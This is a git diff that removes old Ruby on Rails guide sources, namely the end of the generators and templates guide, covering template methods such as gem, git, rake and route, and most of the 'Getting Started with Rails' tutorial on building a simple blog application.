-In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator.
-
-Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename:
-
-<shell>
-$ rails new thud -m template.rb
-</shell>
-
-This command will generate the +Thud+ application, and then apply the template to the generated output.
-
-Templates don't have to be stored on the local system, the +-m+ option also supports online templates:
-
-<shell>
-$ rails new thud -m https://gist.github.com/722911.txt
-</shell>
-
-Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
-
-h3. Generator methods
-
-The following are methods available for both generators and templates for Rails.
-
-NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
-
-h4. +plugin+
-
-+plugin+ will install a plugin into the current application.
-
-<ruby>
-plugin("dynamic-form", :git => "git://github.com/rails/dynamic-form.git")
-</ruby>
-
-Available options are:
-
-* +:git+ - Takes the path to the git repository where this plugin can be found.
-* +:branch+ - The name of the branch of the git repository where the plugin is found.
-* +:submodule+ - Set to +true+ for the plugin to be installed as a submodule. Defaults to +false+.
-* +:svn+ - Takes the path to the svn repository where this plugin can be found.
-* +:revision+ - The revision of the plugin in an SVN repository.
-
-h4. +gem+
-
-Specifies a gem dependency of the application.
-
-<ruby>
-gem("rspec", :group => "test", :version => "2.1.0")
-gem("devise", "1.1.5")
-</ruby>
-
-Available options are:
-
-* +:group+ - The group in the +Gemfile+ where this gem should go.
-* +:version+ - The version string of the gem you want to use. Can also be specified as the second argument to the method.
-* +:git+ - The URL to the git repository for this gem.
-
-Any additional options passed to this method are put on the end of the line:
-
-<ruby>
-gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
-</ruby>
-
-The above code will put the following line into +Gemfile+:
-
-<ruby>
-gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
-</ruby>
-
-h4. +gem_group+
-
-Wraps gem entries inside a group:
-
-<ruby>
-gem_group :development, :test do
-  gem "rspec-rails"
-end
-</ruby>
-
-h4. +add_source+
-
-Adds a specified source to +Gemfile+:
-
-<ruby>
-add_source "http://gems.github.com"
-</ruby>
-
-h4. +application+
-
-Adds a line to +config/application.rb+ directly after the application class definition.
-
-<ruby>
-application "config.asset_host = 'http://example.com'"
-</ruby>
-
-This method can also take a block:
-
-<ruby>
-application do
-  "config.asset_host = 'http://example.com'"
-end
-</ruby>
-
-Available options are:
-
-* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
-
-<ruby>
-application(nil, :env => "development") do
-  "config.asset_host = 'http://localhost:3000'"
-end
-</ruby>
-
-h4. +git+
-
-Runs the specified git command:
-
-<ruby>
-git :init
-git :add => "."
-git :commit => "-m First commit!"
-git :add => "onefile.rb", :rm => "badfile.cxx"
-</ruby>
-
-The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
-
-h4. +vendor+
-
-Places a file into +vendor+ which contains the specified code.
-
-<ruby>
-vendor("sekrit.rb", '#top secret stuff')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-vendor("seeds.rb") do
-  "puts 'in ur app, seeding ur database'"
-end
-</ruby>
-
-h4. +lib+
-
-Places a file into +lib+ which contains the specified code.
-
-<ruby>
-lib("special.rb", 'p Rails.root')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-lib("super_special.rb") do
-  puts "Super special!"
-end
-</ruby>
-
-h4. +rakefile+
-
-Creates a Rake file in the +lib/tasks+ directory of the application.
-
-<ruby>
-rakefile("test.rake", 'hello there')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-rakefile("test.rake") do
-  %Q{
-    task :rock => :environment do
-      puts "Rockin'"
-    end
-  }
-end
-</ruby>
-
-h4. +initializer+
-
-Creates an initializer in the +config/initializers+ directory of the application:
-
-<ruby>
-initializer("begin.rb", "puts 'this is the beginning'")
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-initializer("begin.rb") do
-  puts "Almost done!"
-end
-</ruby>
-
-h4. +generate+
-
-Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
-
-<ruby>
-generate("scaffold", "forums title:string description:text")
-</ruby>
-
-
-h4. +rake+
-
-Runs the specified Rake task.
-
-<ruby>
-rake("db:migrate")
-</ruby>
-
-Available options are:
-
-* +:env+ - Specifies the environment in which to run this rake task.
-* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+.
-
-h4. +capify!+
-
-Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
-
-<ruby>
-capify!
-</ruby>
-
-h4. +route+
-
-Adds text to the +config/routes.rb+ file:
-
-<ruby>
-route("resources :people")
-</ruby>
-
-h4. +readme+
-
-Output the contents of a file in the template's +source_path+, usually a README.
-
-<ruby>
-readme("README")
-</ruby>
diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile
deleted file mode 100644
index bf6104b96b..0000000000
--- a/railties/guides/source/getting_started.textile
+++ /dev/null
@@ -1,1892 +0,0 @@
-h2. Getting Started with Rails
-
-This guide covers getting up and running with Ruby on Rails. After reading it,
-you should be familiar with:
-
-* Installing Rails, creating a new Rails application, and connecting your application to a database
-* The general layout of a Rails application
-* The basic principles of MVC (Model, View Controller) and RESTful design
-* How to quickly generate the starting pieces of a Rails application
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.1. Some of the code shown here will not
-work in earlier versions of Rails.
-
-h3. Guide Assumptions
-
-This guide is designed for beginners who want to get started with a Rails
-application from scratch. It does not assume that you have any prior experience
-with Rails. However, to get the most out of it, you need to have some
-prerequisites installed:
-
-* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.8.7 or higher
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails
-3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02
-though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults
-on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth
-sailing.
-
-* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
-  ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1
-* A working installation of the "SQLite3 Database":http://www.sqlite.org
-
-Rails is a web application framework running on the Ruby programming language.
-If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are some good free resources on the
-internet for learning Ruby, including:
-
-* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
-* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
-* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
-
-Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository
-in rails/railties/guides/code/getting_started.
-
-h3. What is Rails?
-
-Rails is a web application development framework written in the Ruby language.
-It is designed to make programming web applications easier by making assumptions
-about what every developer needs to get started. It allows you to write less
-code while accomplishing more than many other languages and frameworks.
-Experienced Rails developers also report that it makes web application
-development more fun.
-
-Rails is opinionated software. It makes the assumption that there is a "best"
-way to do things, and it's designed to encourage that way - and in some cases to
-discourage alternatives. If you learn "The Rails Way" you'll probably discover a
-tremendous increase in productivity. If you persist in bringing old habits from
-other languages to your Rails development, and trying to use patterns you
-learned elsewhere, you may have a less happy experience.
-
-The Rails philosophy includes several guiding principles:
-
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-do it, rather than requiring you to specify every little thing through endless configuration files.
-* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs
-is the fastest way to go.
-
-h4. The MVC Architecture
-
-At the core of Rails is the Model, View, Controller architecture, usually just
-called MVC. MVC benefits include:
-
-* Isolation of business logic from the user interface
-* Ease of keeping code DRY
-* Making it clear where different types of code belong for easier maintenance
-
-h5. Models
-
-A model represents the information (data) of the application and the rules to
-manipulate that data. In the case of Rails, models are primarily used for
-managing the rules of interaction with a corresponding database table. In most
-cases, each table in your database will correspond to one model in your
-application. The bulk of your application's business logic will be concentrated
-in the models.
-
-h5. Views
-
-Views represent the user interface of your application. In Rails, views are
-often HTML files with embedded Ruby code that perform tasks related solely to
-the presentation of the data. Views handle the job of providing data to the web
-browser or other tool that is used to make requests from your application.
-
-h5. Controllers
-
-Controllers provide the "glue" between models and views. In Rails, controllers
-are responsible for processing the incoming requests from the web browser,
-interrogating the models for data, and passing that data on to the views for
-presentation.
-
-h4. The Components of Rails
-
-Rails ships as many individual components.  Each of these components are briefly
-explained below.  If you are new to Rails, as you read this section, don't get
-hung up on the details of each component, as they will be explained in further
-detail later.  For instance, we will bring up Rack applications, but you don't
-need to know anything about them to continue with this guide.
-
-* Action Pack
-  ** Action Controller
-  ** Action Dispatch
-  ** Action View
-* Action Mailer
-* Active Model
-* Active Record
-* Active Resource
-* Active Support
-* Railties
-
-h5. Action Pack
-
-Action Pack is a single gem that contains Action Controller, Action View and
-Action Dispatch. The "VC" part of "MVC".
-
-h6. Action Controller
-
-Action Controller is the component that manages the controllers in a Rails
-application. The Action Controller framework processes incoming requests to a
-Rails application, extracts parameters, and dispatches them to the intended
-action.  Services provided by Action Controller include session management,
-template rendering, and redirect management.
-
-h6. Action View
-
-Action View manages the views of your Rails application. It can create both HTML
-and XML output by default. Action View manages rendering templates, including
-nested and partial templates, and includes built-in AJAX support.  View
-templates are covered in more detail in another guide called "Layouts and
-Rendering":layouts_and_rendering.html.
-
-h6. Action Dispatch
-
-Action Dispatch handles routing of web requests and dispatches them as you want,
-either to your application or any other Rack application.  Rack applications are
-a more advanced topic and are covered in a separate guide called "Rails on
-Rack":rails_on_rack.html.
-
-h5. Action Mailer
-
-Action Mailer is a framework for building e-mail services. You can use Action
-Mailer to receive and process incoming email and send simple plain text or
-complex multipart emails based on flexible templates.
-
-h5. Active Model
-
-Active Model provides a defined interface between the Action Pack gem services
-and Object Relationship Mapping gems such as Active Record. Active Model allows
-Rails to utilize other ORM frameworks in place of Active Record if your
-application needs this.
-
-h5. Active Record
-
-Active Record is the base for the models in a Rails application. It provides
-database independence, basic CRUD functionality, advanced finding capabilities,
-and the ability to relate models to one another, among other services.
-
-h5. Active Resource
-
-Active Resource provides a framework for managing the connection between
-business objects and RESTful web services. It implements a way to map web-based
-resources to local objects with CRUD semantics.
-
-h5. Active Support
-
-Active Support is an extensive collection of utility classes and standard Ruby
-library extensions that are used in Rails, both by the core code and by your
-applications.
-
-h5. Railties
-
-Railties is the core Rails code that builds new Rails applications and glues the
-various frameworks and plugins together in any Rails application.
-
-h4. REST
-
-Rest stands for Representational State Transfer and is the foundation of the
-RESTful architecture. This is generally considered to be Roy Fielding's doctoral
-thesis, "Architectural Styles and the Design of Network-based Software
-Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While
-you can read through the thesis, REST in terms of Rails boils down to two main
-principles:
-
-* Using resource identifiers such as URLs to represent resources.
-* Transferring representations of the state of that resource between system components.
-
-For example, the following HTTP request:
-
-<tt>DELETE /photos/17</tt>
-
-would be understood to refer to a photo resource with the ID of 17, and to
-indicate a desired action - deleting that resource. REST is a natural style for
-the architecture of web applications, and Rails hooks into this shielding you
-from many of the RESTful complexities and browser quirks.
-
-If you'd like more details on REST as an architectural style, these resources
-are more approachable than Fielding's thesis:
-
-* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
-* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
-* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
-* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis &
-Ian Robinson
-
-h3. Creating a New Rails Project
-
-If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a
-(very) simple weblog. Before you can start building the application, you need to
-make sure that you have Rails itself installed.
-
-TIP: The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code>
-
-h4. Installing Rails
-
-In most cases, the easiest way to install Rails is to take advantage of RubyGems:
-
-<shell>
-Usually run this as the root user:
-# gem install rails
-</shell>
-
-TIP. If you're working on Windows, you can quickly install Ruby and Rails with
-"Rails Installer":http://railsinstaller.org.
-
-h4. Creating the Blog Application
-
-The best way to use this guide is to follow each step as it happens, no code or
-step needed to make this example application has been left out, so you can
-literally follow along step by step. If you need to see the completed code, you
-can download it from "Getting Started
-Code":https://github.com/mikel/getting-started-code.
-
-To begin, open a terminal, navigate to a folder where you have rights to create
-files, and type:
-
-<shell>
-$ rails new blog
-</shell>
-
-This will create a Rails application called Blog in a directory called blog.
-
-TIP: You can see all of the switches that the Rails application builder accepts
-by running
-<tt>rails new -h</tt>.
-
-After you create the blog application, switch to its folder to continue work
-directly in that application:
-
-<shell>
-$ cd blog
-</shell>
-
-In any case, Rails will create a folder in your working directory called
-<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in
-this tutorial will happen in the <tt>app/</tt> folder, but here's a basic
-rundown on the function of each folder that Rails creates in a new application
-by default:
-
-|_.File/Folder|_.Purpose|
-|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.|
-|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
-|app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more.|
-|config.ru|Rack configuration for Rack based servers used to start the application.|
-|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
-|doc/|In-depth documentation for your application.|
-|lib/|Extended modules for your application (not covered in this guide).|
-|log/|Application log files.|
-|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
-|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
-|tmp/|Temporary files|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
-
-h4. Configuring a Database
-
-Just about every Rails application will interact with a database. The database
-to use is specified in a configuration file, +config/database.yml+.  If you open
-this file in a new Rails application, you'll see a default database
-configuration using SQLite3. The file contains sections for three different
-environments in which Rails can run by default:
-
-* The +development+ environment is used on your development computer as you interact manually with the application.
-* The +test+ environment is used to run automated tests.
-* The +production+ environment is used when you deploy your application for the world to use.
-
-h5. Configuring an SQLite3 Database
-
-Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is
-a lightweight serverless database application. While a busy production
-environment may overload SQLite, it works well for development and testing.
-Rails defaults to using an SQLite database when creating a new project, but you
-can always change it later.
-
-Here's the section of the default configuration file
-(<tt>config/database.yml</tt>) with connection information for the development
-environment:
-
-<yaml>
-development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  pool: 5
-  timeout: 5000
-</yaml>
-
-NOTE: In this guide we are using an SQLite3 database for data storage, because
-it is a zero configuration database that just works. Rails also supports MySQL
-and PostgreSQL "out of the box", and has plugins for many database systems. If
-you are using a database in a production environment Rails most likely has an
-adapter for it.
-
-h5. Configuring a MySQL Database
-
-If you choose to use MySQL instead of the shipped SQLite3 database, your
-+config/database.yml+ will look a little different. Here's the development
-section:
-
-<yaml>
-development:
-  adapter: mysql2
-  encoding: utf8
-  database: blog_development
-  pool: 5
-  username: root
-  password:
-  socket: /tmp/mysql.sock
-</yaml>
-
-If your development computer's MySQL installation includes a root user with an
-empty password, this configuration should work for you. Otherwise, change the
-username and password in the +development+ section as appropriate.
-
-h5. Configuring a PostgreSQL Database
-
-If you choose to use PostgreSQL, your +config/database.yml+ will be customized
-to use PostgreSQL databases:
-
-<yaml>
-development:
-  adapter: postgresql
-  encoding: unicode
-  database: blog_development
-  pool: 5
-  username: blog
-  password:
-</yaml>
-
-h5. Configuring an SQLite3 Database for JRuby Platform
-
-If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will
-look a little different. Here's the development section:
-
-<yaml>
-development:
-  adapter: jdbcsqlite3
-  database: db/development.sqlite3
-</yaml>
-
-h5. Configuring a MySQL Database for JRuby Platform
-
-If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look
-a little different. Here's the development section:
-
-<yaml>
-development:
-  adapter: jdbcmysql
-  database: blog_development
-  username: root
-  password:
-</yaml>
-
-h5. Configuring a PostgreSQL Database for JRuby Platform
-
-Finally if you choose to use PostgreSQL and are using JRuby, your
-+config/database.yml+ will look a little different. Here's the development
-section:
-
-<yaml>
-development:
-  adapter: jdbcpostgresql
-  encoding: unicode
-  database: blog_development
-  username: blog
-  password:
-</yaml>
-
-Change the username and password in the +development+ section as appropriate.
-
-TIP: You don't have to update the database configurations manually. If you look at the
-options of the application generator, you will see that one of the options
-is named <tt>--database</tt>. This option allows you to choose an adapter from a
-list of the most used relational databases. You can even run the generator
-repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting
- of the +config/database.yml+ file, your application will be configured for MySQL
-instead of SQLite.
-
-h4. Creating the Database
-
-Now that you have your database configured, it's time to have Rails create an
-empty database for you. You can do this by running a rake command:
-
-<shell>
-$ rake db:create
-</shell>
-
-This will create your development and test SQLite3 databases inside the
-<tt>db/</tt> folder.
-
-TIP: Rake is a general-purpose command-runner that Rails uses for many things.
-You can see the list of available rake commands in your application by running
-+rake -T+.
-
-h3. Hello, Rails!
-
-One of the traditional places to start with a new language is by getting some
-text up on screen quickly. To do this, you need to get your Rails application
-server running.
-
-h4. Starting up the Web Server
-
-You actually have a functional Rails application already. To see it, you need to
-start a web server on your development machine. You can do this by running:
-
-<shell>
-$ rails server
-</shell>
-
-This will fire up an instance of the WEBrick web server by default (Rails can
-also use several other web servers). To see your application in action, open a
-browser window and navigate to "http://localhost:3000":http://localhost:3000.
-You should see Rails' default information page:
-
-!images/rails_welcome.png(Welcome Aboard screenshot)!
-
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
-running. In development mode, Rails does not generally require you to stop the
-server; changes you make in files will be automatically picked up by the server.
-
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it
-makes sure that you have your software configured correctly enough to serve a
-page. You can also click on the _About your application’s environment_ link to
-see a summary of your application's environment.
-
-h4. Say "Hello", Rails
-
-To get Rails saying "Hello", you need to create at minimum a controller and a
-view. Fortunately, you can do that in a single command. Enter this command in
-your terminal:
-
-<shell>
-$ rails generate controller home index
-</shell>
-
-TIP: If you get a command not found error when running this command, you
-need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby
-\path\to\your\application\script\rails generate controller home index</tt>.
-
-Rails will create several files for you, including
-+app/views/home/index.html.erb+. This is the template that will be used to
-display the results of the +index+ action (method) in the +home+ controller.
-Open this file in your text editor and edit it to contain a single line of code:
-
-<code class="html">
-<h1>Hello, Rails!</h1>
-</code>
-
-h4. Setting the Application Home Page
-
-Now that we have made the controller and view, we need to tell Rails when we
-want "Hello Rails" to show up. In our case, we want it to show up when we
-navigate to the root URL of our site,
-"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard"
-smoke test.
-
-The first step to doing this is to delete the default page from your
-application:
-
-<shell>
-$ rm public/index.html
-</shell>
-
-We need to do this as Rails will deliver any static file in the +public+
-directory in preference to any dynamic content we generate from the controllers.
-
-Now, you have to tell Rails where your actual home page is located. Open the
-file +config/routes.rb+ in your editor. This is your application's _routing
-file_ which holds entries in a special DSL (domain-specific language) that tells
-Rails how to connect incoming requests to controllers and actions. This file
-contains many sample routes on commented lines, and one of them actually shows
-you how to connect the root of your site to a specific controller and action.
-Find the line beginning with +root :to+, uncomment it and change it like the
-following:
-
-<ruby>
-Blog::Application.routes.draw do
-
-  #...
-  # You can have the root of your site routed with "root"
-  # just remember to delete public/index.html.
-  root :to => "home#index"
-</ruby>
-
-The +root :to => "home#index"+ tells Rails to map the root action to the home
-controller's index action.
-
-Now if you navigate to "http://localhost:3000":http://localhost:3000 in your
-browser, you'll see +Hello, Rails!+.
-
-NOTE. For more information about routing, refer to "Rails Routing from the
-Outside In":routing.html.
-
-h3. Getting Up and Running Quickly with Scaffolding
-
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an
-application. If you want to create the models, views, and controllers for a new
-resource in a single operation, scaffolding is the tool for the job.
-
-h3. Creating a Resource
-
-In the case of the blog application, you can start by generating a scaffolded
-Post resource: this will represent a single blog posting. To do this, enter this
-command in your terminal:
-
-<shell>
-$ rails generate scaffold Post name:string title:string content:text
-</shell>
-
-The scaffold generator will build several files in your application, along with some
-folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates:
-
-|_.File                                       |_.Purpose|
-|db/migrate/20100207214725_create_posts.rb    |Migration to create the posts table in your database (your name will include a different timestamp)|
-|app/models/post.rb                           |The Post model|
-|test/fixtures/posts.yml                      |Dummy posts for use in testing|
-|app/controllers/posts_controller.rb          |The Posts controller|
-|app/views/posts/index.html.erb               |A view to display an index of all posts |
-|app/views/posts/edit.html.erb                |A view to edit an existing post|
-|app/views/posts/show.html.erb                |A view to display a single post|
-|app/views/posts/new.html.erb                 |A view to create a new post|
-|app/views/posts/_form.html.erb               |A partial to control the overall look and feel of the form used in edit and new views|
-|app/helpers/posts_helper.rb                  |Helper functions to be used from the post views|
-|app/assets/stylesheets/scaffolds.css.scss    |Cascading style sheet to make the scaffolded views look better|
-|app/assets/stylesheets/posts.css.scss        |Cascading style sheet for the posts controller|
-|app/assets/javascripts/posts.js.coffee       |CoffeeScript for the posts controller|
-|test/unit/post_test.rb                       |Unit testing harness for the posts model|
-|test/functional/posts_controller_test.rb     |Functional testing harness for the posts controller|
-|test/unit/helpers/posts_helper_test.rb       |Unit testing harness for the posts helper|
-|config/routes.rb                             |Edited to include routing information for posts|
-
-NOTE. While scaffolding will get you up and running quickly, the code it
-generates is unlikely to be a perfect fit for your application. You'll most
-probably want to customize the generated code. Many experienced Rails developers
-avoid scaffolding entirely, preferring to write all or most of their source code
-from scratch. Rails, however, makes it really simple to customize templates for
-generated models, controllers, views and other source files. You'll find more
-information in the "Creating and Customizing Rails Generators &
-Templates":generators.html guide.
-
-h4. Running a Migration
-
-One of the products of the +rails generate scaffold+ command is a _database
-migration_. Migrations are Ruby classes that are designed to make it simple to
-create and modify database tables. Rails uses rake commands to run migrations,
-and it's possible to undo a migration after it's been applied to your database.
-Migration filenames include a timestamp to ensure that they're processed in the
-order that they were created.
-
-If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember,
-yours will have a slightly different name), here's what you'll find:
-
-<ruby>
-class CreatePosts < ActiveRecord::Migration
-  def change
-    create_table :posts do |t|
-      t.string :name
-      t.string :title
-      t.text :content
-
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-The above migration creates a method named +change+ which will be called when you
-run this migration. The action defined in that method is also reversible, which
-means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it at later date. By default, when you run this migration it
-creates a +posts+ table with two string columns and a text column. It also
-creates two timestamp fields to track record creation and updating. More
-information about Rails migrations can be found in the "Rails Database
-Migrations":migrations.html guide.
-
-At this point, you can use a rake command to run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Rails will execute this migration command and tell you it created the Posts
-table.
-
-<shell>
-==  CreatePosts: migrating ====================================================
--- create_table(:posts)
-   -> 0.0019s
-==  CreatePosts: migrated (0.0020s) ===========================================
-</shell>
-
-NOTE. Because by default you're working in the development environment, this
-command will apply to the database defined in the +development+ section of your
-+config/database.yml+ file. If you would like to execute migrations in another
-environment, for instance in production, you must explicitly pass it when
-invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>.
-
-h4. Adding a Link
-
-To hook the posts up to the home page you've already created, you can add a link
-to the home page. Open +app/views/home/index.html.erb+ and modify it as follows:
-
-<ruby>
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", posts_path %>
-</ruby>
-
-The +link_to+ method is one of Rails' built-in view helpers. It creates a
-hyperlink based on text to display and where to go - in this case, to the path
-for posts.
-
-h4. Working with Posts in the Browser
-
-Now you're ready to start working with posts. To do that, navigate to
-"http://localhost:3000":http://localhost:3000/ and then click the "My Blog"
-link:
-
-!images/posts_index.png(Posts Index screenshot)!
-
-This is the result of Rails rendering the +index+ view of your posts. There
-aren't currently any posts in the database, but if you click the +New Post+ link
-you can create one. After that, you'll find that you can edit posts, look at
-their details, or destroy them. All of the logic and HTML to handle this was
-built by the single +rails generate scaffold+ command.
-
-TIP: In development mode (which is what you're working in by default), Rails
-reloads your application with every browser request, so there's no need to stop
-and restart the web server.
-
-Congratulations, you're riding the rails! Now it's time to see how it all works.
-
-h4. The Model
-
-The model file, +app/models/post.rb+ is about as simple as it can get:
-
-<ruby>
-class Post < ActiveRecord::Base
-end
-</ruby>
-
-There isn't much to this file - but note that the +Post+ class inherits from
-+ActiveRecord::Base+. Active Record supplies a great deal of functionality to
-your Rails models for free, including basic database CRUD (Create, Read, Update,
-Destroy) operations, data validation, as well as sophisticated search support
-and the ability to relate multiple models to one another.
-
-h4. Adding Some Validation
-
-Rails includes methods to help you validate the data that you send to models.
-Open the +app/models/post.rb+ file and edit it:
-
-<ruby>
-class Post < ActiveRecord::Base
-  validates :name,  :presence => true
-  validates :title, :presence => true,
-                    :length => { :minimum => 5 }
-end
-</ruby>
-
-These changes will ensure that all posts have a name and a title, and that the
-title is at least five characters long. Rails can validate a variety of
-conditions in a model, including the presence or uniqueness of columns, their
-format, and the existence of associated objects.
-
-h4. Using the Console
-
-To see your validations in action, you can use the console. The console is a
-command-line tool that lets you execute Ruby code in the context of your
-application:
-
-<shell>
-$ rails console
-</shell>
-
-TIP: The default console will make changes to your database. You can instead
-open a console that will roll back any changes you make by using <tt>rails console
---sandbox</tt>.
-
-After the console loads, you can use it to work with your application's models:
-
-<shell>
->> p = Post.new(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil,
-     content: "A new post", created_at: nil,
-     updated_at: nil>
->> p.save
-=> false
->> p.errors
-=> #<OrderedHash { :title=>["can't be blank",
-                           "is too short (minimum is 5 characters)"],
-                   :name=>["can't be blank"] }>
-</shell>
-
-This code shows creating a new +Post+ instance, attempting to save it and
-getting +false+ for a return value (indicating that the save failed), and
-inspecting the +errors+ of the post.
-
-When you're finished, type +exit+ and hit +return+ to exit the console.
-
-TIP: Unlike the development web server, the console does not automatically load
-your code afresh for each line. If you make changes to your models while the
-console is open, type +reload!+ at the console prompt to load them.
-
-h4. Listing All Posts
-
-The easiest place to start looking at functionality is with the code that lists
-all posts. Open the file +app/controllers/posts_controller.rb+ and look at the
-+index+ action:
-
-<ruby>
-def index
-  @posts = Post.all
-
-  respond_to do |format|
-    format.html  # index.html.erb
-    format.json  { render :json => @posts }
-  end
-end
-</ruby>
-
-+Post.all+ calls the +Post+ model to return all of the posts currently in the
-database. The result of this call is an array of posts that we store in an
-instance variable called +@posts+.
-
-TIP: For more information on finding records with Active Record, see "Active
-Record Query Interface":active_record_querying.html.
-
-The +respond_to+ block handles both HTML and JSON calls to this action. If you
-browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json,
-you'll see a JSON containing all of the posts. The HTML format looks for a view
-in +app/views/posts/+ with a name that corresponds to the action name. Rails
-makes all of the instance variables from the action available to the view.
-Here's +app/views/posts/index.html.erb+:
-
-<erb>
-<h1>Listing posts</h1>
-
-<table>
-  <tr>
-    <th>Name</th>
-    <th>Title</th>
-    <th>Content</th>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
-
-<% @posts.each do |post| %>
-  <tr>
-    <td><%= post.name %></td>
-    <td><%= post.title %></td>
-    <td><%= post.content %></td>
-    <td><%= link_to 'Show', post %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
-                                     :method => :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New post', new_post_path %>
-</erb>
-
-This view iterates over the contents of the +@posts+ array to display content
-and links. A few things to note in the view:
-
-* +link_to+ builds a hyperlink to a particular destination
-* +edit_post_path+ and +new_post_path+ are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes.
-
-NOTE. In previous versions of Rails, you had to use +&lt;%=h post.name %&gt;+ so
-that any HTML would be escaped before being inserted into the page. In Rails
-3.0, this is now the default. To get unescaped HTML, you now use +&lt;%= raw
-post.name %&gt;+.
-
-TIP: For more details on the rendering process, see "Layouts and Rendering in
-Rails":layouts_and_rendering.html.
-
-h4. Customizing the Layout
-
-The view is only part of the story of how HTML is displayed in your web browser.
-Rails also has the concept of +layouts+, which are containers for views. When
-Rails renders a view to the browser, it does so by putting the view's HTML into
-a layout's HTML. In previous versions of Rails, the +rails generate scaffold+
-command would automatically create a controller specific layout, like
-+app/views/layouts/posts.html.erb+, for the posts controller. However this has
-been changed in Rails 3.0. An application specific +layout+ is used for all the
-controllers and can be found in +app/views/layouts/application.html.erb+. Open
-this layout in your editor and modify the +body+ tag:
-
-<erb>
-<!DOCTYPE html>
-<html>
-<head>
-  <title>Blog</title>
-  <%= stylesheet_link_tag "application" %>
